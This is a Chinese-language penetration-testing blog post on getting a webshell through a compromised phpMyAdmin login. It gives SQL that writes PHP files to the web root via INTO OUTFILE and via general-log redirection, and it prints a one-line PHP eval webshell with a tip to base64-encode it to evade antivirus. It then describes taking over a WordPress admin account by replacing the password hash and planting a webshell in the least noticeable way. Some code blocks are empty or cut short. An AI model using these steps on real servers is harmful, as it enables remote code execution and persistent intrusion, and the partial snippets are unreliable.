【Tech】[PenTest] phpMyAdmin的getshell方法
Last Update:
Word Count:
Read Time:
前言
在滲透測試中有時可以運氣行好直接登入到phpMyAdmin,
下一步我們可以透過getshell進行更深入的滲透,例如像域滲透這種。
環境
- Windows 11
- Apache + php8.2
- phpMyAdmin
前提
需要以下條件
- phpMyAdmin最好是root帳號
- 知道Absolute Path (本文使用 D:/xampp/htdocs)
實戰
Geshell方法
phpMyAdmin getshell一般有兩種方法 :
- SQL getshell
- 後端 getshell
第一種是使用SQL把webshell寫到伺服器上,
第二種是改後端密碼上傳webshell。
SQL getshell
常用方法 - 使用 select into outfile
這應該是最常用的方法了,在知道路徑的情況下可以用這招1
2select load_file('D:/xampp/htdocs');
select '<?php phpinfo();?>' into outfile 'D:/xampp/htdocs';
這是最簡單的方法,也是很容易失敗的方法,大部份網頁admin都不是傻的,他們會有設定檔案權限,
此時執行1
SHOW VARIABLES LIKE "secure_file_priv";
Value一般會有兩種結果
- Folder路徑 : 代表只有該路徑才可以修改
- NULL : 禁止修改
Log寫shell
MySQL 5.0以上會自動寫Logs,把執行過的SQL指令都寫進一個.log檔,
那如果此時的檔案不是.log而是.php呢?
執行以下指令1
SHOW VARIABLES LIKE 'general%';
1 | |
就會在D:/xampp/htdocs 生成一個shell.php
然後再1
select '<?php @eval($_POST['pass']); ?>'
就可以getshell了
技巧
最簡單的php一句話木馬1
<?php @eval($_POST['pass']); ?>
也是最容易被防毒查出來的,如果webshell的code寫得比較多可以把webshell base64加密,
再使用php的 base64_decode(); 函數解密。
注意
Log寫webshell的方法動作會很大的,會很容易被發現。
另外記得要把一開始的.log檔案記下,不然你會無法還原。
後端GetShell
後端登入

以wordpress為列子,phpMyAdmin+wordpress是比較容易getshell的,
因為wordpress是基於php的,而後端一般都會有檔案修改和上傳等功能。
Wordpress登入後端目前還算是很容易的,兩種做法 :
- 破解密碼Hash
- 在無法破解的情況下直接改密碼

WordPress加密後的密碼很上去很亂,但要改也不難,假設你的新密碼是admin,那就把admin以MD5加密,把MD5 Hash換進去就可以了。

GetShell方法
一般三種方法
- 模版上傳
- Plugin上傳
- 直接插入一句話木馬
這種用第三種會比較好,因為前兩種都比較容閉被發現。